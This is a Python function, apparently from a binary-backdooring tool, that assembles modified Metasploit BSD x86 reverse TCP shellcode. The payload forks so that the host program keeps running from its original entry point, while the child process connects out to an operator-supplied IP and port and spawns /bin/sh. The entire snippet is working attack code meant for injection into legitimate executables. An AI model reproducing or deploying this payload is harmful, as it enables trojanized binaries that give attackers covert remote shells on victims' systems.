'Modified metasploit payload/bsd/x86/shell_reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'

def reverse_shell_tcp(self, CavesPicked={}):

    if (self.PORT is None):
        print 'Must    provide    port'
        return False
    self.shellcode1 = 'R'
    self.shellcode1 += '1\xc0'
    self.shellcode1 += '\xb0\x02'
    self.shellcode1 += '\xcd\x80'
    self.shellcode1 += 'Z'
    self.shellcode1 += '\x85\xc0t\x07'
    self.shellcode1 += '\xbd'
    self.shellcode1 += struct.pack('<I', self.e_entry)
    self.shellcode1 += '\xff\xe5'
    self.shellcode1 += 'h'
    self.shellcode1 += self.pack_ip_addresses()
    self.shellcode1 += 'h\xff\x02'
    self.shellcode1 += struct.pack('!H', self.PORT)
    self.shellcode1 += '\x89\xe71\xc0Pj\x01j\x02j\x10\xb0a\xcd\x80WPPjbX\xcd\x80PjZX\xcd\x80\xffO\xe8y\xf6h//shh/bin\x89\xe3PTSP\xb0;\xcd\x80'
    self.shellcode = self.shellcode1
    return self.shellcode1
